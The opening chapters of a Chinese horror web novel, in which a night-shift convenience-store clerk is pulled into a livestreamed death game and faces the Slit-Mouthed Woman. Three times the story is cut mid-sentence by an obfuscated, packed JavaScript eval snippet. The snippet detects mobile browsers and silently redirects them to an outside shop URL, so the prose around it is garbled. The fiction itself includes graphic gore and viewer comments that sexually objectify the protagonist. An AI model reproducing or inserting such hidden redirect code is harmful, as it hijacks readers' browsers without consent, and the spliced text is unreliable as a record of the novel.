《今天也在努力作死[无限]》 1. 微笑便利店1 凌晨零点整,7-24便利店的自动门“叮咚”一声合拢,将最后一点街边的喧闹隔绝在外。 谢秋慈靠在收银台后,指尖在手机屏幕上滑动,蓝光为他没什么表情的脸镀了层冷调,让本就偏白的肤色显得几乎透明。 他生得极好,是那种带点厌世感的好看,眉骨清晰,鼻梁挺直,下颌线利落干净。 最特别的是眼尾那颗淡褐色的泪痣,很小一点,像谁用笔尖轻轻点上去,又忘了擦掉。 便利店的夜班从晚上十点到早上六点,时薪十七块五,不包餐,唯一福利是报废的临期食品可以带走——如果吝啬店长没发现的话。 店里很安静,只有冰柜嗡嗡的低鸣,和日光灯管偶尔的电流声,他突兀地抬起眼,透过玻璃门看向外面。 街对面烧烤摊的招牌还亮着,几个醉醺醺的男人在路边抽烟,笑声隔着玻璃传进来,模糊得像另一个世界的事。 谢秋慈缓缓收回视线,手指无意识地碰了碰胸前的挂坠,那是一尊小小的山神像,石质的,雕工粗糙,用红绳穿着,他已经戴了很多年。 十二点过了,该收拾今天的过期商品了,谢秋慈想着,走到食品货架前,从最底层拿出那包三明治,草莓夹心的,包装上的生产日期是昨天,保质期到今晚九点。 现在刚过零点,过期三个小时。 嗯,还能吃,谢秋慈拆开包装,塑料纸窸窣作响,里面的面包片已经有点干硬,草莓酱的颜色在日光灯下泛着不自然的红。 他盯着三明治看了几秒,忽然笑了一下。 那笑容很淡,只牵起左边嘴角,眼尾的泪痣随着这个动作微微上挑。整张脸因为这个笑忽然生动起来,不是那种明亮的阳光的笑,而是带着点漫不经心的嘲讽,像觉得眼前这一切,包括他自己都挺没意思的。 谢秋慈收起笑,从角落的收纳箱里翻出半包蜡烛,是上周有个小女孩来买蛋糕时落下的,彩色的小圆烛,一根手指那么长。 他随意抽出一根粉色的,插在三明治的草莓酱夹层里,又从收纳箱里边摸出店长用来点烟的打火机。 “咔哒。” 火苗蹿起来,映着他浅棕色的眼睛,谢秋慈看着那点烛火,脑子里闪过一些破碎的画面:福利院电视机里播放的生日派对,孩子们围着蛋糕拍手;便利店白天有母亲带着小孩来买零食,小孩哭闹着要玩具,母亲无奈地说“等你过生日就买”…… 生日啊。今天是他的生日,满十八岁,法律意义上的成年人。 应该许个愿的,电视剧里都这么演。 谢秋慈缓缓眨了下眼睛,看着跳动的火苗,声音很轻,但每个字都清晰无比:“希望世界毁灭。” 非常朴实无华的愿望。这是他第一次过生日,也是第一次许愿,希望能够实现。 谢秋慈吹了口气。 火苗熄灭的瞬间,便利店所有的灯—— 全灭了。 不是停电那种骤暗,是彻底的,吞噬一切的黑暗,像有人用黑布蒙住了眼睛,谢秋慈甚至能听见自己呼吸的停顿,半秒,也许一秒。 然后灯又亮了。 但这次亮起的不是正常的白光,是红光,粘稠的,像稀释过的血一样的红光从天花板每个灯管里渗出来,把整个便利店染成一片诡异的暗红。 货架上的商品包装在红光下扭曲变形,酸奶盒上的草莓图案像在渗血。 谢秋慈猛地转头看向玻璃门。 门外没有街,没有烧烤摊,没有醉汉,只有浓稠的,仿佛有实质的黑暗在缓缓蠕动。 是真的在蠕动。那黑暗贴着玻璃,像活物一样起伏,偶尔凸起人脸的形状,又迅速平复。 手机在口袋里疯狂震动,谢秋慈掏出来,屏幕自动亮起,一个纯黑色的APP图标正在桌面上生成,扭曲,像是无数眼睛堆叠而成的符号。 图标下方,血色文字浮现: 【罪渊·直播中】 电子音就在这时响起,直接灌进脑海,冰冷机械,带着某种非人的空洞: 【欢迎来到‘罪渊’,恐怖游戏已降临。】 【这是一个真实与虚幻交织的世界,恐惧与疯狂才是狂欢的通行证】 【从此刻起,你的日常生活随时可能中断,你可能在任何时间,任何地点被拉入副本——家中、公司、地铁、甚至睡梦中】 【你的每一次挣扎、每一次恐惧、每一次绝望,都将被全球直播,供万亿观众欣赏】 APP自动打开,界面分成两半,左边是直播画面,红光从头顶倾泻而下,可就在这片血色里,站在收银台后的年轻人却白得发亮,像上好的瓷器。 右边是飞速滚动的文字: 【新人?话说游戏已经降临地球了吧,这是第一批新货?】 【这脸……是真实存在的吗???】 【我靠这颜值进恐怖游戏?系统选人看脸?】 【泪痣!!!我死了这泪痣长在我心巴上】 【看起来很瘦但是那里很圆润哦,手感应该挺好的吧】 【别花痴了,便利店副本存活率不到20%】 【完了完了,这颜值当炮灰太可惜了】 【他在干嘛?对着三明治发呆?】 弹幕滚得太快,谢秋慈只来得及看清几条。他盯着屏幕,忽然笑了,漂亮的眼睛微弯,带着浅浅的愉悦吹了声口哨:“哇哦。” 愿望真灵。 他声音很轻,但透过直播清晰传了出去,弹幕顿了一瞬,然后爆炸: 【他在笑??还吹口哨???】 【吓傻了吧】 【关注了,这脸我能舔到游戏结束,太漂亮了老婆嘿嘿】 属于游戏系统的电子音再次响起,似乎刚才的停顿是在给新人接受适应的时间,语气充满了挑唆和煽动:【但相应的,只要你成功通关所有原罪副本,我们就会满足你内心深处最渴求的愿望。】 【那么谢秋慈,请问你想要什么?】 电子音停住,像在等待。 谢秋慈看着手机屏幕上自己的脸,看着那些滚动的,围观他命运的弹幕,又看了看玻璃门外蠕动着的黑暗。 他缓缓对着空气微笑起来,语气带着隐约的期待:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493634|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求死。” 电子音:【……】 弹幕:【?????】 【他在说什么???】 【挑衅吧,绝对是挑衅吧】 【不是,美人你到底有什么想不开的,活着不好吗?这么爱作死?】 【就是个长得好看的花瓶而已,这么爱挑衅,别活不过五分钟】 系统沉默了三秒,再响起时,那机械的语调里似乎多了一丝极细微的,近乎困惑的停顿:【……愿望‘求死’已登记。】 半透明的血色面板在谢秋慈眼前展开: 【姓名】:谢秋慈 【理智壁垒】:85/100(你的“常识”正以独特的方式崩解与重构) 【侵蚀度】:0%(深渊会一直注视你) 【当前副本】:微笑便利店(新手教程) 【任务】:完成今日夜班工作(0:00-6:00),存活至交班 【警告】:违反《店员守则》将导致不可控后果。祝您游戏愉快,以及—— 【生日快乐。】 前面的字都是血红色的,淋漓得像是用鲜血写就,只有最后四个字,“生日快乐”是刺眼的白,白得像骨头,像讣告。 谢秋慈盯着那行字,习惯性地用指尖轻轻摩挲着胸前的山神像挂坠,石质表面粗糙,但被他戴了这么多年,已经磨出温润的质感。 他还没细想,店内广播突然响起,不是电子音,而是真实的,带着电流杂音的广播声,从墙角那个积灰的音箱里传出来:“新员工入职培训即将开始,请所有店员前往收银台集合。” 声音平板的像录音,因为太像人类的播音腔,反而诡异地带来了一种非人感。 紧接着,从便利店最深处堆放清洁用品的货架后面,传来塑料袋被撕开的“刺啦”声。 然后是咀嚼声,湿漉漉的,黏腻的,像什么东西在缓慢地啃食,伴随着吞咽的咕咚声,和牙齿摩擦塑料的细响。 谢秋慈转过头看向那个方向。 咀嚼声停了。 广播又响了,这次带着催促:“请立即前往收银台集合。重复,请立即前往收银台集合。” 谢秋慈收回目光,把手里的三明治放在用餐区的桌面上,抽了张纸巾慢条斯理地擦掉指尖沾的草莓酱,转身朝收银台走去。 他走得不快,甚至称得上从容,露出的手腕很细,骨骼分明,在红光下几乎能看见底下淡青色的血管。 弹幕又炸了:【他不跑???】 【那后面有东西啊!!】 【这心理素质是真实的吗,正常人知道恐怖游戏降临世界都得崩溃一会儿吧,他居然就这么平静地接受了啊!!】 【装逼吧,等会儿就哭】 【装能装成这个样子我也是佩服的,你们看他的表情……他真的一点都不带怕的】 谢秋慈走到收银台,那里已经站着两个人。 一个戴黑框眼镜的年轻女性,脸色惨白,手指紧紧攥着手机,一个中年胖男人,浑身都在抖,额头冒汗,嘴里不停念叨:“我要回家……放我回家……” 2. 微笑便利店2 女人,也就是庄静娴在看见谢秋慈的瞬间,呼吸滞了一下。 她自认在游戏行业见过不少颜值高的CV和画师,但眼前这个年轻人帅得甚至超过了游戏建模,她不敢想如果对方出现在游戏里,会有多“烫门”,会有多少玩家为他爆氪,对方的谷价又会有多高。 皮肤白,眉眼清冷,泪痣点在右眼尾,给这张过于平静的脸添了点说不清的易碎感。他穿着便利店店员制服,普通的深蓝色POLO衫和黑色长裤,尺码似乎大了点,衬得肩线有些单薄。 最让人移不开眼的是那双眼睛,浅棕色的,在便利店诡异的红光下,颜色深了些,像掺了蜜的琥珀。 庄静娴回神,深吸一口气,强行让声音平稳:“你、你好。我叫庄静娴,游戏文案策划,这位是赵强,我打的那辆网约车的司机。” 赵强猛地抬头,眼睛充血,滑坐在地上开始哭。 庄静娴闭了闭眼,她理解赵强的崩溃,又看向谢秋慈,她注意到这个看起来比她年轻好几岁的男生异常平静,甚至在她自我介绍时轻轻点了下头。 “谢秋慈。”他说,“便利店员工。” “你在这里工作?”庄静娴愣住。 在这种鬼地方工作,这,这人难道是怪物…… “嗯,夜班。”谢秋慈说着,目光落在庄静娴陡然变得惊恐的脸上,知道对方误会了什么,但他只是挑了挑眉,丝毫没有解释的意思。 他转头看向那台老旧的收银机,收银机正在自动打印,齿轮转动,吐出的却不是小票,而是一张长长的纸条,纸是惨白的,上面的字却是暗红色,像干涸的血。 纸条顶端写着: 《7-24便利店员工守则(夜班版)》 玻璃门外,黑暗彻底吞没了最后一点光的残影,而便利店深处,咀嚼声又响起来了。 这一次,声音更近了。 收银机吐出的纸条很长,纸边粗糙,摸上去有种诡异的湿润感,像刚从哪里撕下来。 庄静娴手抖得厉害,但还是强迫自己举起手机,对着纸条连拍好几张,闪光灯在红光下显得惨白,把纸条上那些暗红色的字照得愈发清晰。 谢秋慈没拍照,他站在收银台外侧,微微倾身,目光一行行扫过纸条,只看了一遍。 【规则1:必须穿着店员制服(已自动更换)】 【规则2:微笑服务所有顾客,无论其形态】 【规则3:顾客永远是对的,不得拒绝顾客的任何要求】 【规则4:凌晨3:33必须完成所有货架整理,商品需按标签颜色分类】 【规则5:收银机只收现金,找零必须是硬币】 【规则6:店内禁止奔跑、尖叫、流血】 【规则7:如果看到穿红色雨衣的儿童在门外,请给他一颗糖果并告诉他“妈妈在等你”】 【规则8:本店没有地下仓库,如果听到仓库传来敲门声,不要回应】 【规则9:店长会在需要时出现】 【规则10:本店真诚为您服务,请保持微笑:)】 最后那个笑脸符号画得歪歪扭扭,嘴角咧到耳根。 庄静娴打了个哆嗦,往外默默退了一步,离那张诡异的规则远远的。 她悄悄抬眼,多观察了谢秋慈几秒,虽然这个年轻人漂亮的不像真人,但应该是真的人类,不是什么想吃了他们的怪物。 这是她的直觉,作为高敏感人,她从小就对别人的情绪十分敏锐,她没有从谢秋慈的身上察觉到一点恶意,但同样的,她也没有从谢秋慈的身上察觉到一点情绪波动。 “你……不怕吗?”庄静娴忍不住问。 谢秋慈随口回复:“怕有用吗?” 庄静娴哑口无言。 弹幕密密麻麻地飘过: 【怕有用吗……说得好有道理我竟无言以对】 【但他表情也太淡定了吧】 【腿好长,走路的时候大腿线条好性感,捏一把的话,肉应该会从指缝里鼓出来吧,咬一口是什么感觉,他会哭吗】 【我求你们了,不要在弹幕里像痴汉一样行吗】 【就要就要,好久都没有见到这么高质量的美人了,不知道肉质怎么样,应该挺湿软的嘻嘻】 【装出来的吧,等会儿肯定崩】 这时,瘫在地上的赵强突然爬起来,眼睛赤红:“我不信!这他妈是整蛊节目吧?对,整蛊!摄像头在哪?!” 他疯了一样在收银台周围翻找,扯掉墙上的促销海报,推倒旁边的糖果架,彩色糖果哗啦啦撒了一地,在红光照映下像一滩滩凝固的血。 “赵先生,冷静点!”庄静娴想去拉他,但赵强猛地甩开她,转身又冲向玻璃门。 这次他没用手砸,而是抬起脚,狠狠踹在门板上,“砰!” 巨响在安静的便利店里炸开,玻璃门震颤,但依旧纹丝不动,门外的黑暗被惊动,猛地扑上来,无数张人脸在黑暗中浮现挤压,贴在玻璃上,五官模糊,但能看见张大的嘴,像在无声尖叫。 【草,别刺激外面那些东西啊!】 【这才是正常人反应啊,突然被拉进恐怖游戏,再怎么说也得怀疑一下吧】 【但规则说了不能奔跑尖叫……他已经违反了吧嘻嘻?】 赵强吓呆了,连退好几步,撞在身后的货架上。 那是饮料货架,两层,摆满了各种瓶装水和饮料,货架被他撞得摇晃,顶层的几瓶可乐摇晃着坠落。 “小心!”庄静娴惊呼。 但晚了。 一瓶两升装的可乐直直砸在赵强脚边,塑料瓶身炸裂,褐色的液体混着气泡喷溅出来,淋了他一裤子。 几乎同时,另一瓶饮料砸在他小腿上,变形的尖锐边缘瞬间划过皮肉。 “嘶!”赵强倒抽一口冷气,低头看去。 他穿着夏季薄款的工装裤,布料被划开一道口子,下面的皮肤渗出血珠,血不多,就几滴,在深色裤子上不明显,但确实流血了。 【规则6:店内禁止奔跑、尖叫、流血。】 赵强的脸瞬间惨白如纸。 庄静娴也僵住了,手指死死攥住手机,因为极度恐惧,喉咙轻轻抽动,却发不出任何声音。 谢秋慈皱眉,快速扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493635|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视四周,看到天花板上的监控摄像头转动着,红光闪烁,对准了赵强流血的小腿。 但想象中的惩罚并没有立刻降临,反而,店内广播响了:“第一位顾客即将光临,请准备。” 声音刚落,门口的风铃被吹动,黄铜管子互相碰撞,发出清脆却诡异的声响,刺耳无比,可谢秋慈记得很清楚,这家便利店门口根本没有风铃。 自动门无声滑开。 门外不再是蠕动的黑暗,而是一条昏暗的街道,街灯稀疏,雾蒙蒙的,有一个女人站在门口。 她穿着米色长风衣,领子竖着,遮住下半张脸,长发披散,手里提着一个很大的购物袋,袋口露出一点金属冷光。 她走进来,自动门在身后合拢,玻璃外又变回那片蠕动的黑暗。 女人脚步很轻,高跟鞋踩在瓷砖地面上,发出规律的“哒、哒”声,像踩在人的心脏上,她径直走向收银台,购物袋拖在地,发出沉重的摩擦声,里面似乎装着什么重物。 庄静娴屏住呼吸,赵强缩在货架边,捂着腿上的伤口,浑身发抖。 女人看了看,视线在谢秋慈的脸上多停留了几秒,像是不受控制地停在了谢秋慈面前,她比谢秋慈矮半个头,抬起脸时,长发向两侧滑开,露出整张脸—— 上半张脸很清秀,眼睛细长,但下半张脸被口罩遮着。 她伸出手,不是掏钱,而是抓住口罩边缘,缓缓拉下。 庄静娴的呼吸停了。 口罩下面,没有下巴,没有嘴唇。女人的嘴角向两侧裂开,一直裂到耳根,露出森白的牙齿和鲜红的口腔,裂口边缘的皮肤是不规则的锯齿状,像被什么粗暴地撕开过。 裂口女。 都市怪谈里最经典的恐怖形象之一,传说她会问路人“我美吗”,如果回答“美”,她会摘下口罩说“这样也美吗”然后杀死对方;如果回答“不美”,她会直接杀死对方。 【卧槽卧槽卧槽!真的是裂口女大人!】 【她购物袋里是不是剪刀?用来剪嘴的】 【我看了十几个便利店副本,这是最难的那种,开局就是裂口女,新人悬咯】 【这题无解,怎么选都是死,新人运气确实不好】 【不是说求死吗,现在真的可以死了,这么漂亮的脸,死这么早还是挺可惜的唉】 裂口女就站在这里,裂到耳根的嘴张开,声音嘶哑,像砂纸摩擦:“我美吗?” 说话时,庄静娴甚至能看见她喉咙深处蠕动的肉,裂口女的购物袋里,一把巨大的剪刀露出半截,刃口沾着暗红色的血垢,还有几丝疑似皮肤组织的碎屑。 赵强终于忍不住,发出一声短促的尖叫,又猛地捂住嘴,但身体因为恐惧向后倒,撞在刚才已经摇晃的货架上。 “哗啦——” 这次倒的不是几瓶饮料,是整个货架,连同上面几十瓶矿泉水、果汁、茶饮,轰然倾塌。 瓶瓶罐罐砸在地上,碎裂声,滚动声,液体喷溅声响成一片,赵强被压在货架下,惨叫被闷在喉咙里,只有腿蹬了两下,就不动了。 有大量的血从他身下蔓延出来。 3. 微笑便利店3 规则6禁止流血,而他违反两次了,庄静娴脑子里闪过这个念头,绝望感猛地攥住心脏。 【没救了,等死吧】 【谢秋慈在干嘛?他怎么不动?】 裂口女根本没看那边,她细长的眼睛瞳孔很小,只盯着谢秋慈,眼神当中闪过一丝得意,又问了一遍,声音更嘶哑:“我美吗?” 谢秋慈从货架倒塌的巨响中收回视线,重新看向裂口女。 他脸上还是没有恐惧,甚至在这样一张裂到耳根的嘴面前,他还微微歪了下头,像在认真打量。 然后他微笑开口,语气平静得就像在便利店给顾客推荐商品:“姐,你这裂口得用哑光口红。” 裂口女:“……?” 【?????】 【他在说什么?哑光口红???】 【我耳朵出问题了?这新人疯了吧??】 谢秋慈继续,语速不快,但每个字都清晰:“亮面的反光,显得嘴更大了,我推荐3号货架的‘斩男色’,虽然你斩的是真男人。” 他伸手指了指化妆品货架的方向,又补充:“不过你肤色白,其实正红色也行,就是得选哑光质地的。那边有试用装,要试试吗?” 便利店陷入死寂。 只有货架那边,赵强身下的血泊在慢慢扩大,发出轻微的黏腻的“嘀嗒”声。 【斩男色,斩真男人,我tm笑出声】 【这是恐怖游戏不是美妆教程啊大哥!】 【老婆对口红这么有研究,是自己涂过吗?还是被别人拿着口红在身上涂过呢】 【裂口女都懵了哈哈哈,她表情好茫然】 【哗众取宠,等死吧,你马上就要被裂口女用剪刀剪成两半了,从中间劈开!】 【但他已经活过五分钟了哦,楼上已急哭】 裂口女站在原地,裂开的嘴还保持着张开的姿势,但那双细长的眼睛里,第一次出现了明显的情绪。 困惑。 她大概杀过很多人,听过无数种回答:尖叫的,求饶的,胡言乱语的,但从来没有人,在看到她这张脸后,还能用美妆导购的语气,跟她讨论口红色号和质地。 她低头,看了眼自己手里的购物袋,剪刀的冷光映着她惨白的手指,又抬头看谢秋慈。 是自己不够吓人吗? 谢秋慈还在等她的回答,表情甚至称得上耐心,眼尾那颗泪痣在红光下显得格外特别,只要看过一次的人都不会忘掉。 【裂口女在思考?她真的在思考??】 【她去看购物袋了,马上就要用剪刀把这个不知天高地厚的新人撕开了吧哈哈哈!】 【漂亮老婆你快跑啊!】 裂口女沉默了大概五秒,然后她真的,慢慢地转身朝3号货架走去。 高跟鞋“哒、哒、哒”,在安静的便利店里回荡,她走到化妆品货架前弯腰,从一排口红试用装里,精准地拿起那支标注“斩男色-01”的哑光口红。 【?怎么不拿剪刀剪开他的内脏?我还等着听尖叫呢】 【运气好而已,等下个顾客就死】 【但裂口女这关明显过了啊,一直叫叫叫,不爱看你滚出去呗】 裂口女拿到口红,走回收银台,把口红放在台面上,又从购物袋里掏出钱包,一个普通的皮质钱包,边缘有深色的污渍。 她打开钱包,抽出几张钞票。 不是正常的钱,是冥币,黄底,印着诡异的图案,但其中夹着一张真正的百元钞,只是皱巴巴的,沾着暗红色的已经干涸的血迹。 她把那张百元钞和冥币一起推过来,裂开的嘴动了动:“结账。” 声音还是很嘶哑,但少了一点杀意,多了点茫然。 谢秋慈面不改色地接过那张百元钞,把冥币推回去:“这个不收。只收现金。” 裂口女盯着他。 谢秋慈微笑补充:“人民币。或者硬币。” 裂口女又沉默了几秒,然后真的把冥币收回钱包,只留下那张百元钞。她又从钱包深处掏出几枚硬币,一元面值,但硬币表面黏着一些灰白色的,像皮肤碎屑的东西。 她把硬币一枚枚放在收银台上。 【硬币上粘着什么……好像是皮?】 【呕——】 【谢秋慈居然面不改色地拿起来了,他这心理承受能力让我怀疑他以前是干什么的,不会是杀手吧】 谢秋慈扫码,收银机“嘀”一声,显示金额:68元。 “收您100,找零32元。”他说着,打开收银机抽屉。 里面没有纸币,只有一堆硬币,一元、五角、一角的混在一起。 规则5:找零必须是硬币。 谢秋慈开始数硬币,一枚,两枚,三枚……动作不紧不慢,硬币碰撞发出清脆的响声。 裂口女就站在那儿等,裂开的嘴微微抿着,如果那还能算“抿”的话。 庄静娴整个人都僵住了,大脑一片空白,她看着谢秋慈数硬币,看着裂口女安静地等,看着货架那边赵强身下越来越多的血…… 这个世界疯了,还是她疯了? 终于,谢秋慈数出32枚一元硬币,装进一个小纸袋,递给裂口女。 裂口女接过纸袋,拎起购物袋,转身走向门口。 走到一半,她忽然停住,回头。 裂到耳根的嘴动了动,似乎想说什么,但最后只发出一个含糊的音节,她最后看了一眼收银台上的硬币,推门出去了。 自动门合拢,外面又变成蠕动的黑暗,风铃响了最后一次,然后彻底安静。 【我看了十几个便利店直播,第一次见裂口女活着离开的】 【还买了支口红】 【老婆笑起来也很可爱,唇肉好饱满,亲起来会很舒服】 【疯批美人我真的好爱么么么】 谢秋慈低头,看着收银台上那几枚黏着皮肤碎屑的硬币,他沉默两秒,用指尖捻起一枚硬币,在灯光下看了看。 硬币背面,粘着一小块薄薄的,半透明的东西,像指甲。 他松开手,硬币掉回收银台,发出“叮”一声轻响。 然后他转头,看向货架那边。 赵强被压在货架下,已经不动了,血从他身下蔓延出来,面积不小,在红光照映下黑得发亮。 惩罚什么时候来? 仿佛回应他的疑问,天花板上的广播突然响起刺耳的电流声,接着是那个平板的声音:“检测到违规:流血。处理程序启动。” 所有监控摄像头同时转动,红色光点聚焦在赵强身上。 赵强的影子,在血泊中拉得长长的,扭曲的影子,突然“站”了起来。 字面意义上的“站”。 那团黑色的,人形的影子从地面剥离,像一张被拎起来的黑纸,立在货架旁,然后它弯下腰,伸出影子构成的手,抓住赵强的脚踝。 赵强被拖动,身体摩擦地面,发出令人牙酸的声响,他还有微弱的意识,喉咙里发出“嗬嗬”的呜咽,手指徒劳地抓挠地面,留下几道血痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493636|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影子拖着他,朝便利店深处走去。 那里原本堆放清洁用品的货架旁,不知何时多了一排新的货架,架子上不是商品,而是一个个玻璃罐,大小正好能装下一个人。 罐子里泡着浑浊的液体,液体里漂浮着各种人体部位:一只手,一条腿,半张脸…… 一个空着的玻璃罐自动打开盖子,液体晃荡。 影子将赵强拎起来,塞了进去,赵强还想做最后的挣扎,但影子按住他的头,硬生生把他按进液体里。 液体涌入他的口鼻,他瞪大眼睛,最后抽搐了几下,不动了。 罐子盖上盖子,自动贴上标签,标签上,血红的字迹浮现: 【商品名】:新鲜店员·赵强 【保质期】:永久 【售价】:99999积分 罐子被摆上货架,和其他玻璃罐并列,影子完成任务,融回地面,消失不见。 广播的声音仿佛带了一丝满意的笑意:“违规已处理。请继续微笑服务。” 谢秋慈静静看着那排玻璃罐,赵强的脸贴在玻璃内侧,眼睛还睁着,瞳孔扩散,表情凝固在最后的惊恐。 他移开视线,看向庄静娴。 庄静娴脸色白得像纸,手指死死抠着手机边缘,指节青白,她在发抖,像极了抽搐,根本控制不住。 庄静娴大口抽着气,但又不敢发出太大的声音,不知道过了多久才缓过来,努力把刚才的画面驱逐出脑海,忍不住问:“你真的不怕?” 谢秋慈叹了口气:“怕能让他活过来吗?” “可是,”庄静娴声音发颤,“那是裂口女,你那样跟她说话……” “规则2,微笑服务所有顾客。”谢秋慈耸耸肩,“规则3,不得拒绝顾客的任何要求。她问‘我美吗’,我回答了,还提供了额外建议,这不算拒绝。” 他顿了顿,补充说:“而且,她最后付钱了,说明她接受了我的服务。” 庄静娴张了张嘴,说不出话。 逻辑是对的。 但这根本不是逻辑的问题好吗!那是裂口女!是都市怪谈里杀了无数人的恐怖存在!正常人怎么可能在那张脸面前冷静地讨论口红色号?! 除非…… 庄静娴盯着谢秋慈的侧脸,那张脸在红光下显得有些不真实的美丽,但眼神平静,甚至可以说淡漠。 这个人,要么是心理素质强到变态,要么是根本不知道什么叫恐惧。 或者两者都有。 【但一般人根本想不到这么做,也没有这个胆子这么做】 【推销这么熟练,不会真干过这一行吧?以前做过鸭,对富婆卖过笑?】 【我不信,谢秋慈肯定是好男孩,守身如玉,只对我敞开】 【运气好罢了,等会儿就死】 谢秋慈看了眼时间:凌晨0点47分。距离凌晨3:33的货架整理,还有两个多小时,距离早上6点下班,还有五个多小时,距离下一个顾客光临,未知。 谢秋慈靠在收银台边,突然笑了一声,很轻的一声笑,带着点玩味。 庄静娴听见了,忍不住问:“你笑什么?” 谢秋慈语气轻松:“没什么。就是觉得世界突然没那么无聊了。” 货架深处,那排玻璃罐静静立着,赵强的脸贴在玻璃上,眼睛还睁着,直勾勾“看”向收银台的方向。 而在更深的阴影里,塑料袋的咀嚼声,又响起来了。 湿漉漉的,黏腻的。 越来越近。 4. 微笑便利店4 庄静娴看着那滩留下来的血,一路延伸到货架,有明显的拖拽痕迹,又看向走过去整理货架的谢秋慈,喉咙发干。 谢秋慈没看她,他蹲在被赵强撞倒的饮料货架旁,一瓶一瓶地把散落在地上的饮料捡起来。 他的动作很稳,不慌不忙,像是超市里普通的理货员,而不是一个刚目睹队友惨死,身处恐怖游戏的新手。 他捡起那瓶两升装的可乐,塑料瓶身因为刚才的摔砸已经凹陷了一块,标签也撕开了,已经属于需要报损,不会被允许摆在货架上卖给顾客的残次品。 谢秋慈看了看,随手拧开瓶盖。 “嗤——” 二氧化碳释放的声音在过分安静的便利店里格外清晰。 庄静娴猛地回神,看见谢秋慈仰头灌了一大口可乐,喉结滚动,深褐色的液体顺着他的唇角滑下一点,被他用拇指蹭掉了。 这个动作本来很普通,他做出来却带着不可言说的性感和暧昧,嘴角的液体都像是……弹幕瞬间出现一片【嘶哈嘶哈】,被老色批们的虎狼之词淹没。 【老婆想不想喝一点别的^_^】 【这个喉结真的很好看有人懂我吗?好想摸一下再轻轻咬一口】 【如果他能活过这个副本,下个副本的老弟们能不能找机会上他,记得给我们看看】 【这张脸太顶了,等活过这个新手副本,他肯定会吸引那批喜欢看R18的东西吧,要是他学会利用自己的美貌和身体,光靠打赏都能活很久了】 【还是算了吧,美人堕落之后就没吸引力了,我还是喜欢看美人被吓得瑟瑟发抖又强撑的样子】 “你,你在干什么?”庄静娴声音发颤。 谢秋慈又喝了一口才放下瓶子,看向她:“补充水分。要吗?” 说着,他从货架上又拿了一瓶矿泉水,拧开递过来。 庄静娴愣住,没敢接。 谢秋慈也没强求,把矿泉水放在旁边的桌子上,自己继续喝可乐,他喝得很慢,像是在品味,眉头微微皱了一下又松开。 “有点甜。”他评价道,然后又喝了一口,这次眉头舒展了些,“不过气泡很刺激。” 这是他第一次喝可乐,经常有人来买罐装的冰可乐,店里的可乐永远是消耗最快的,他还听一个年轻男生对朋友说,炸鸡和可乐才是绝配。 他也没有吃过炸鸡,或许下次可以去炸鸡店打工? 庄静娴看着他,脑子里一片混乱。 “规则……”她终于找回自己的声音,“规则没说可以拿店里的东西吃吧?” “规则也没说不可以。”谢秋慈放下可乐瓶,继续整理货架,“只说顾客永远是对的,不能拒绝顾客的要求,我是店员,不是顾客。” 他顿了顿,有些玩味地补充:“这也算是员工福利了吧?反正现实里,那个铁公鸡店主可不会给我免费喝可乐的机会。” 说完,谢秋慈又喝了一口,这次嘴角很轻地扬了一下。 这个人真的不害怕吗?还是说,恐惧对他来说,是一种很陌生的情绪? 庄静娴深吸一口气,强迫自己冷静下来,她拿起那瓶矿泉水,里面的水质澄澈,看上去没有任何杂质,给人的感觉十分安全。 她不知道谢秋慈是不是故意的,但这种看起来干净的水确实会让她更加容易接受,她打开小口喝了一点,冰凉的水滑过喉咙,稍微缓解了那种窒息般的紧张感。 “谢谢。”庄静娴低声说。 谢秋慈没回头,只是“嗯”了一声。 虎狼之词终于被挤了上去,弹幕开始新一轮的讨论: 【赵强刚死,血还没干,他就在喝可乐???】 【他真的不觉得可乐的颜色和赵强流的血很像吗,这人心脏是空的吧】 【不,我觉得是脑子有问题,这新人绝对不正常】 【这人是真的喜欢作死,一般人到这种环境里面根本不敢碰任何东西,他居然就那么把可乐拿出来,还拧开喝了,真是不怕死啊】 【我感觉他是有点实力的,不是那种只能靠脸混下去的】 谢秋慈已经收拾完大部分瓶子,开始清理碎玻璃,用扫帚和簸箕一点一点扫起来倒进垃圾桶,玻璃碰撞发出清脆的响声,在安静的便利店里格外刺耳。 庄静娴站在旁边看着,忽然问:“你经常收拾这些吗?” “便利店夜班,偶尔有醉汉打翻东西。”谢秋慈头也不抬,“习惯了。” “我不是说那个。”庄静娴声音发紧,“我是说……死人。” 谢秋慈动作停了一下。 他直起身,看向那排玻璃罐,赵强的脸还贴在玻璃上,眼睛睁着,瞳孔扩散,旁边其他罐子里,那些残肢断臂在浑浊液体里微微浮动。 “第一次。”谢秋慈说,语气没什么起伏,“但以后可能还会有。” 